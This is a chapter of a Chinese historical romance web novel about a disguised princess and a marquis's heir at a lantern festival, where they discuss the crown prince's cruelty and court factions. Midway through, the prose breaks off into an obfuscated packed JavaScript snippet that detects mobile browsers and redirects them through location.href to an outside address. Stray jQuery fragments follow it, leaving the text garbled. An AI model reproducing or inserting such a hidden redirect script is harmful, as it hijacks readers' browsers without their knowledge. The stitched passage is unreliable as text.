庄惟月方才心中郁郁,是因为还记挂着碰见的那群褴褛小童,不知道他们今夜会带着狸奴藏在何处,不过和魏珉这么一来一去的吵了几句,反而畅快不少。
天地不仁,以万物为刍狗。
圣人不仁,以百姓为刍狗。
眼看着盛世安乐如摇摇欲坠的泡影,身处乱局之中,想得太多并无益处,那她能做的,也就是顺势顺心而为。
庄惟月想问问魏珉有何想法,毕竟他曾亲眼得见仁和十二年的天灾人祸,如何起于微末,又如何浩浩荡荡被人为扑灭,她在濯玉面前讲的事情,一半来自记载,剩下一部分来自于魏珉。
魏珉刚到帝京那几年,庄惟月很喜欢这位小郎君,她上头几位兄长都没有什么兄长样,庄朔又是个不怎么会说话的小娃娃,所以每逢魏珉进宫,或者在宴席上碰面,庄惟月总要缠着魏珉,让他给她讲故事。
他从小随着老魏侯南北征战,见识的东西多,心里仿佛装着十万万座大山那样厚重的故事,可惜长了一张完全不会讲故事的嘴,任何事情到他口中,再讲出来总是平铺直叙,平平无奇,可她听来却觉得有趣极了。
或许魏珉会有解决之法。
不过他这人素来不爱管闲事,尤其是朝堂上的事,庄惟月正酝酿着,马车缓缓停了下来。
春莲敲敲车门,提醒车内众人:“贵主,到地方了。”
濯玉先推开门跳下车,警惕地环顾一圈,扭回头时才注意到春莲红彤彤的眼睛。
她吓了一跳,拉着人低声问:“怎么哭了?”
春莲担心濯玉误会,连忙解释:“我没有哭,有小飞虫进眼睛里面了,痛。”
濯玉帮着她看了看,没问题才放下心来,念在春莲第一次跟着她们出宫,仔细交待,“有世子在,你等会不必跟着我们,可以松快松快,在附近玩一玩罢。”
她又摸出片金叶子递给春莲,将四周打量清楚,随手指路,“不过离得太远可不行,去旁边的茶楼坐坐也好,吃些茶点。最迟三刻钟,一定要回来守着马车。”
“濯玉姐姐,我知道了。”
春莲点点头,余光扫到车内的人接连出来,她往后让了让,站在濯玉身后,极隐晦的目光如蜻蜓点水般从两人身上快速滑过。
贵主扶着男人的手缓缓下了马车。
她越发低下脑袋,将金叶子小心收好,低垂的目光一路追随者那人靛蓝色的衣角,听着他同公主说话,努力竖起耳朵听清他说的每一个字。等再也看不见听不见了,她才爬回到车上坐着,安安静静等着他们一行人回来。
庄惟月事先同魏珉约定好,“今天你我二人权当是兄妹出游,我照旧唤你阿兄,你唤我杜月娘,如何?”
庄是皇族姓氏,太过招摇,庄惟月出宫一向是拿母家化名,再假称是侯府的远方表亲杜娘子,有魏珉在前替她遮掩,这位从泉州来帝京的杜娘子身份稳固得很。
魏珉不置可否:“随你。”
他注意到小女娘下车后被冷意一催,不高兴地揉了揉鼻子,往后瞥一眼侍从。
侍从立刻牵马赶上,递过个包袱来。
魏珉抖开里面簇新的披风,示意庄惟月:“夜冷霜重,你身子耐不住寒意,披上吧。”
庄惟月看了看他手里的东西,先想起来一件事,轻声细语地说:“去年秋天母妃身体微恙,我留在宫中侍疾,没跟着去西山围猎,后来听回来的人说太子在猎场上竟得了头名。阿兄运气不好,出师不利,被庄钧带着走偏了路,最后只猎得两头银狐,成绩屈居末流。”
濯玉心想,贵主没头没尾地提这些干什么,偏头看过去,世子手上拿的正好是件银狐皮做的狐裘。
狐裘的毛色光泽具是上佳,绣娘的手艺也颇为精湛,想来应该花了好些功夫,不是一时一日能做出来的。
濯玉正要上前接过,世子已经捧着狐裘往旁边转了半步,她识趣地收回刚抬起来的手,往旁边避了避,看来以后还有得适应呢。
魏珉熟稔地给庄惟月系上系带,手指不小心碰到她细弱的下巴,很快挪开。
庄惟月微微抬着头看他,还等着魏珉的回答。
眼前人做了男装打扮,银白衣袍玉发冠,但通身的气质不会骗人,看起来完全不像小公子,仍是个天真活泼的小女娘,魏珉与那双流光溢彩的眸子对视几息,终于还是开了口。
“太子的骑射功夫是闻烈将军所教,闻将军十四岁便有百步穿杨的本领,太子在他门下受教五年,既是弓马娴熟,自当被奉为魁首。”
庄惟月拢了拢狐裘,但笑不语,去年她的太子兄长在春猎时输给小他几岁的庄朔,丢了大脸,听说没忍到回营帐,便气得一脚踹断了伺候人的肋骨,那小内监年幼瘦弱,当场就没了性命。
现场人多眼杂,这事很快被传了出去。在猎场的文武百官均有所耳闻,话传的很不好听,皇帝为此大发雷霆,不是因为太子踢死了人,而是下旨训斥闻烈与太子太傅,没将太子教好。
太子三师受辱后愤而上谏,被皇帝以更加激烈的态度挡了回来,在当时闹得很不愉快,可惜胳膊拧不过大腿,这事最终以太子太傅辞官归乡为结果。
将将半年,太子就能胜过曾指导庄朔的魏珉。
当真是运气使然?
庄惟月看着满河载着心愿的花灯顺流而下,心中一片平静,“朔王弟曾经私底下和我抱怨,早知道赢下太子会引起这么大一场风波,不如待在皇陵还自在些,如果冒犯到棺材里面的人,先辈们总不好跳起来和他一个小辈计较。”
魏珉:“你今日的话有些多。”
庄惟月伸出手来,捏住他的衣袖,不依不饶地问:“阿兄怎么看?”
魏珉负手而立,不甚在意的语气,在她耳边落下的几个字犹如惊雷,让人心悸。
“太子肖父,不是明君之相。”
这堪称大逆不道的话一出,庄惟月立刻偏头盯住魏珉,两岸灯火摇曳,足够让她看清他平静的眉目,男人的眼睛黑极了,好像所有的光亮都无法照进去,深沉道整个人成了一尊完全没有感情的石佛。
庄惟月张了张嘴,蹙眉道:“阿兄今日的态度也不似寻常。”
前朝众臣早生忧虑,太子成年渐渐显露出乖戾的那一面,性情越来越像他的父亲,脾气霸道暴躁,对下人动辄打骂,东宫伺候的宫人换了一茬又一茬。他对内不留情,对外更是没有什么仁慈之心,对太子太傅常有冲撞之举,日后登基,恐怕朝臣都没有好果子吃。
不过太子毕竟身居储君之位多年,东宫内又有皇太孙,除非他想不开来谋反,这位置还能稳固地坐下去。
部分士族当然不愿意看到这样的太子登基,选择将其他皇子作为赌注,冲着贵妃和魏珉的双重加持,有小部分人愿意押宝庄朔。
想到这里,庄惟月攥着手指沉吟,朝中局势,竟也与她息息相关,她抬眸,注视着魏珉的侧颜。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715897|173705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
魏家在朝堂上从来不偏不倚,只听陛下命令,否则皇帝不会选择将她嫁给魏珉。但今日魏珉对太子的一番评价,令她心中惴惴,不知道魏家是否已经暗中做好选择。
那这样,她可就没办法嫁给魏珉了。
庄惟月一时走神,险些被迎面走过来的几个年轻郎君冲散,幸而魏珉一把揽住她,无奈道:“又在想些什么?”
庄惟月挣开他的手,走到河岸边,河水拐弯处有堆积的枯水草,因此滞留了几盏河灯,她捡起岸边不知谁放置的竹竿,小心翼翼地将灯拨弄走。
河水悠悠带着灯盏们顺流而下,也让她看清了上面的字迹。
“我在想满床河灯,寄托的多是放灯人此时的美好祝愿,或求姻缘,或求金榜高中,阿兄身为侯府世子,会有什么心愿?”
“但愿家国安定,百姓衣食无忧。至于其他,本不该我管,我也不会插手。”
试探到此为止。
庄惟月得到她想要的回答,放下心来逛起沿街叫卖的小摊,脚步渐慢,而旁边的郎君配合着,时不时伸出手,在攒动的人群中护住三心二意的小女娘。
濯玉遥遥跟在后头,手肘碰碰松青,感慨道:“你家郎君和我家女娘可真是般配。”
松青握紧了剑,面无表情地紧盯自家郎君。
点茶娘子的表演,庄惟月看中了食肆上叫卖的胡饼和毕罗,扭回头,眼神找到濯玉。
按理说,濯玉是很能明白庄惟月眼神示意的,比如此刻,她已经知道贵主想让她干什么,但她还是默默转过头,在旁边装傻充愣。
庄惟月一头雾水地喊她:“濯玉。”
濯玉犹豫着上前,“夫人吩咐过我们,不许给娘子吃外面的东西。上次出宫,娘子贪凉,用了两碗荔枝酥山,当晚疼得睡不着觉,奴和从夏姐姐将绝笔书都写好了。”
庄惟月毫无诚意地撒娇:“好濯玉,上次是意外,这次我小心点,一定没问题。”
濯玉努力板着脸,“娘子的身体不能打马虎,奴今天已经犯了错,不能再犯。”
才多久,她就将魏珉说的话奉为金科玉律。
庄惟月站在食肆前面,等魏珉过来,立刻欢快地叫他:“阿兄!”
魏珉一看庄惟月眼神就知道她想干什么,先将她早前点名要买的东西递给濯玉,掏出银子准备付钱,“想买什么?”
濯玉抱住河灯,试图去拦住魏珉:“世……魏郎君,夫人特意叮嘱过,今夜不许娘子在外饮食,担心闹肚子。”
她腰上挂了两个荷包,放着蜜饯肉干之类的吃食,都是从永安宫的小厨房带出来,预备今晚给贵主吃的。
“无碍,我会盯着她。”
濯玉退下后,魏珉和庄惟月谈条件,“二选一,要是吃了这个,今晚就不能再吃羊肉胡饼。”
庄惟月仔细比较完:“那还是蟹黄毕罗吧,这时节难得遇到新鲜螃蟹。”
魏珉付了钱,再叮嘱:“此物性寒又油腻,只能吃三个,不许多吃。”
濯玉知道带出来的东西是用不上了,遂摸出来一袋肉干,试图分给松青,被沉默寡言的侍卫拒绝后,她低声嘀咕“臭石头”。
她终于看明白为何庄惟月出宫总喜欢魏珉陪着,世子只是嘴上严厉,眼下还不是听之任之,对着贵主说不出拒绝的话。
濯玉将贵妃娘娘的交代抛在脑后,站在远处安心吃蜜饯,反正贵主和世子她一个都管不了。